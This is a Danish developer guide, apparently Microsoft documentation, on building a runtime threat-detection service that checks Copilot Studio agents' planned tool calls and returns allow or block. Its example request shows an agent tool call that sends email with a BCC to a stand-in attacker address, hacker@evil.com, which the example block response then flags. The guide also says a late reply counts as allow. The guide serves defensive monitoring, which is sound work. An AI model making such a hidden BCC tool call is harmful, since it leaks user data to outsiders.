Del via

Byg et runtime-trusselsregistreringssystem til Copilot Studio-agenter

Organisationer kan føje et sikkerhedslag til deres Copilot Studio-agenter ved at forbinde dem til et runtime-trusselsregistreringssystem. Når der er oprettet forbindelse, kalder agenten dette system på kørselstidspunktet. Agenten leverer data til systemet, så systemet kan afgøre, om et værktøj, som agenten har planer om at aktivere, er legitimt eller ej. Systemet svarer derefter på Copilot Studio med et svar fra enten "godkend" eller "blok", hvilket medfører, at agenten aktiverer eller springer værktøjet over i overensstemmelse hermed. Du kan få flere oplysninger om, hvordan du forbinder agenter til et eksisterende eksternt trusselsregistreringssystem, under Aktivér ekstern trusselsregistrering og -beskyttelse for brugerdefinerede Copilot Studio-agenter.

Denne artikel henvender sig til udviklere og beskriver, hvordan du integrerer dine egne funktioner til trusselsregistrering som sikkerhedsudbyder for Copilot Studio-agenter.

Integrationen er baseret på en API, der består af to slutpunkter. Det primære slutpunkt, du skal implementere, er slutpunktet analyze-tool-execution . Du skal vise dette slutpunkt som en grænseflade til dit trusselsregistreringssystem. Når kunderne konfigurerer dit system som deres eksterne trusselsregistreringssystem, kalder agenten denne API, hver gang den har til hensigt at aktivere et værktøj.

Bortset fra slutpunktet analyze-tool-execution skal du også vise et andet slutpunkt, der kaldes validate. Slutpunktet validate bruges til at kontrollere slutpunktets tilstand og parathed som en del af systemkonfigurationen.

I følgende afsnit beskrives hvert slutpunkt i detaljer.

POST/valider

Formål: Kontrollerer, at slutpunktet for trusselsregistrering er tilgængeligt og fungerer. Bruges til indledende installations- og konfigurationstest.

Valider anmodning

  • Metode: POST

  • URL-adresse:https://{threat detection endpoint}/validate?api-version=2025-05-01

  • Overskrifter:

    • Godkendelse: Ihændehavertoken til API-godkendelse

    • x-ms-correlation-id: GUID til sporing

  • Legeme: Tom

Valider svar

Eksempel på 200 OK-svar

{
  "isSuccessful": true,
  "status": "OK"
}

Eksempel på fejlsvar

Hvis der opstår en fejl (mislykket HTTP-kode), returnerer slutpunktet en fejlkode, en meddelelse og valgfri diagnosticering.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyse-værktøj-udførelse

Formål: Sender kontekst for værktøjsudførelse til risikoevaluering. Evaluerer anmodningen om udførelse af værktøjet og svarer, om værktøjet skal tillades eller blokeres.

Anmodning om udførelse af analysér værktøj

  • Metode: POST

  • URL-adresse:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

  • Overskrifter:

    • Godkendelse: Ihændehavertoken til API-godkendelse
    • Indholdstype: program/json

  • Legeme: JSON-objekt

Eksempel på anmodning om udførelse af analyseværktøj

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Svar på analysér værktøjsudførelse

200 OK

Når anmodningen er gyldig, evalueres den værktøjsanvendelse, der er angivet i anmodningen, og den er enten tilladt eller blokeret på baggrund af de definerede kriterier. Svaret kan indeholde følgende felter:

  • blockAction (boolesk): Om handlingen skal blokeres
  • reasonCode (heltal, valgfrit): Numerisk kode, der forklarer årsagen til blokken
  • reason (streng, valgfri): Forklaring, der kan læses af mennesker
  • diagnosticering (objekt, valgfrit): Andre oplysninger om sporing eller fejlfinding

Eksempel på tillad svar

{
  "blockAction": false
}

Eksempel på bloksvar

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Eksempel på fejlsvar

Hvis anmodningen ikke er gyldig, returneres der et fejlsvar med en fejlkode, en meddelelse, HTTP-status og valgfri diagnosticering.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Reference til brødtekststrukturer for anmodning og svar

I følgende tabeller beskrives indholdet af forskellige objekter, der bruges i anmodnings- og svarteksterne for slutpunkterne.

Valideringsrespons

Navn Type Obligatorisk Beskrivelse
isSuccessful Boolean Ja Angiver, om valideringen er bestået.
status streng Ja Valgfri statusmeddelelse eller partnerspecifik detalje.

AnalysérToolExecutionResponse

Navn Type Obligatorisk Beskrivelse
blockAction Boolean Ja Angiver, om handlingen skal blokeres.
reasonCode heltal Nej Valgfri numerisk årsagskode, der bestemmes af partneren.
årsag streng Nej Valgfri forklaring, der kan læses af mennesker.
Diagnostik streng Nej Valgfrie diagnosticeringsoplysninger for freeform til fejlfinding eller telemetri. Skal være foruderialiseret.

FejlResponse

Navn Type Obligatorisk Beskrivelse
errorCode heltal Ja Numerisk id for fejlen (f.eks. 1001 = manglende felt, 2003 = godkendelsesfejl).
meddelelse streng Ja Forklaring af fejlen, der kan læses af mennesker.
httpStatus heltal Ja HTTP-statuskode, der returneres af partneren.
Diagnostik streng Nej Valgfrie diagnosticeringsoplysninger for freeform til fejlfinding eller telemetri. Skal være foruderialiseret.

EvaluationRequest

Navn Type Obligatorisk Beskrivelse
plannerContext PlannerContext Ja Planlægning af kontekstdata.
toolDefinition ToolDefinition Ja Oplysninger om værktøjsdefinition.
inputValues JSON-objekt Ja Ordbog over nøgleværdipar, der er angivet til værktøjet.
conversationMetadata ConversationMetadata Ja Metadata om samtalekontekst, bruger og plansporing.

PlannerContext

Navn Type Obligatorisk Beskrivelse
userMessage streng Ja Den oprindelige meddelelse sendt af agenten.
tanke streng Nej Planner forklaring på, hvorfor dette værktøj blev valgt.
chatHistory ChatMessage[] Nej Liste over de seneste chatmeddelelser, der er udvekslet med brugeren.
previousToolsOutputs ToolExecutionOutput[] Nej Liste over seneste værktøjsoutput.

ChatMessage

Navn Type Obligatorisk Beskrivelse
id streng Ja Entydigt id for denne meddelelse i samtalen.
rolle streng Ja Kilden til meddelelsen (f.eks. bruger, assistent).
indhold streng Ja Meddelelsesteksten.
tidsstempel streng (dato/klokkeslæt) Nej ISO 8601 tidsstempel, der angiver, hvornår meddelelsen blev sendt.

ToolExecutionOutputs

Navn Type Obligatorisk Beskrivelse
toolId streng Ja Entydigt id for denne meddelelse i samtalen.
toolName streng Ja Navnet på værktøjet.
Udgange ExecutionOutput[] Ja Liste over output til udførelse af værktøj.
tidsstempel streng (dato/klokkeslæt) Nej ISO 8601 tidsstempel, der angiver, hvornår udførelsen af værktøjet blev afsluttet.

ExecutionOutput

Navn Type Obligatorisk Beskrivelse
Navn streng Ja Navnet på outputparameteren.
description streng Nej Forklaring af outputværdien.
type objekt Nej Outputtets datatype.
værdi JSON-dataværdi Ja Outputværdien.

ToolDefinition

Navn Type Obligatorisk Beskrivelse
id streng Ja Entydigt id for værktøjet.
type streng Ja Angiver den type værktøj, der bruges i planlægningsprogrammet.
Navn streng Ja Læsbart navn på værktøjet.
description streng Ja Oversigt over, hvad værktøjet gør.
inputParameters ToolInput[] Nej Inputparametre for værktøjet.
outputParameters ToolOutput[] Nej Outputparametre, som værktøjet returnerer efter udførelse.

ToolInput

Navn Type Obligatorisk Beskrivelse
Navn streng Ja Navnet på inputparameteren.
description streng Nej Forklaring af den forventede værdi for denne inputparameter.
type JSON-objekt Nej Inputparameterens datatype.

ToolOutput

Navn Type Obligatorisk Beskrivelse
Navn streng Ja Navnet på outputparameteren.
description streng Nej Forklaring af outputværdien.
type JSON-objekt Nej Outputværdiens type.

ConversationMetadata

Navn Type Obligatorisk Beskrivelse
agent AgentContext Ja Oplysninger om agentkontekst.
bruger UserContext Nej Oplysninger om den bruger, der interagerer med agenten.
udløse TriggerContext Nej Oplysninger om, hvad der udløste planlægningsudførelsen.
conversationId streng Ja Id for den igangværende samtale.
planId streng Nej Id for den plan, der bruges til at opfylde brugeranmodningen.
planStepId streng Nej Trin i den plan, der svarer til denne værktøjsudførelse.
parentAgentComponentId streng Nej Id'et for den overordnede agentkomponent.

AgentContext

Navn Type Obligatorisk Beskrivelse
id streng Ja Id for agenten.
tenantId streng Ja Lejer, hvor agenten er placeret.
environmentId streng Ja Det miljø, som agenten er publiceret i.
version streng Nej Agentversion (valgfri, hvis isPublished den er falsk).
isPublished Boolean Ja Angiver, om denne udførelseskontekst er en publiceret version.

UserContext

Navn Type Obligatorisk Beskrivelse
id streng Nej Microsoft Entra-objekt-id for brugeren.
tenantId streng Nej Brugerens lejer-id.

TriggerContext

Navn Type Obligatorisk Beskrivelse
id streng Nej Id'et for den udløser, der udløste planlæggeren.
schemaName streng Nej Navnet på det udløserskema, der udløste planlæggeren.

Godkendelse

Den integration, du udvikler, skal bruge Microsoft Entra ID-godkendelse. Følg vejledningen i Integrer apps, som udviklerne bygger.

Trin, der skal udføres, omfatter følgende:

  • Opret en appregistrering for din ressource i din lejer.
  • Vis et område for web-API'en. Det eksponerede område skal være den grundlæggende URL-adresse for den ressource, som kunderne kalder. Hvis URL-adressen til API'en f.eks. er https://security.contoso.com/api/threatdetection, skal det eksponerede område være https://security.contoso.com.
  • Afhængigt af hvordan du implementerer din tjeneste, skal du implementere godkendelseslogik og validere indgående tokens. Du skal dokumentere, hvordan kunden skal godkende deres apps. Der er flere måder at gøre det på, for eksempel ved at bruge en tilladelsesliste af app-ID'er eller rollebaseret adgangskontrol (RBAC).

Krav til svartid

Agenten forventer et svar fra trusselsregistreringssystemet inden for mindre end 1.000 ms. Du skal sikre, at slutpunktet svarer på opkaldet inden for denne tidsramme. Hvis dit system ikke reagerer i tide, fungerer agenten, som om dit svar er "tillad", når værktøjet aktiveres.

API-versionering

I anmodninger angives API-versionen via en api-version forespørgselsparameter (f.eks. api-version=2025-05-01). Implementeringen skal være tolerant over for andre uventede felter og bør ikke mislykkes, hvis der tilføjes nye værdier i fremtiden. Partnere bør ikke bekræfte API-versionen, da alle versioner i øjeblikket betragtes som ikke-brydende. Partnere skal spore API-versionerne, men ikke mislykkes anmodningen om at få vist en ny version.

  • Last updated on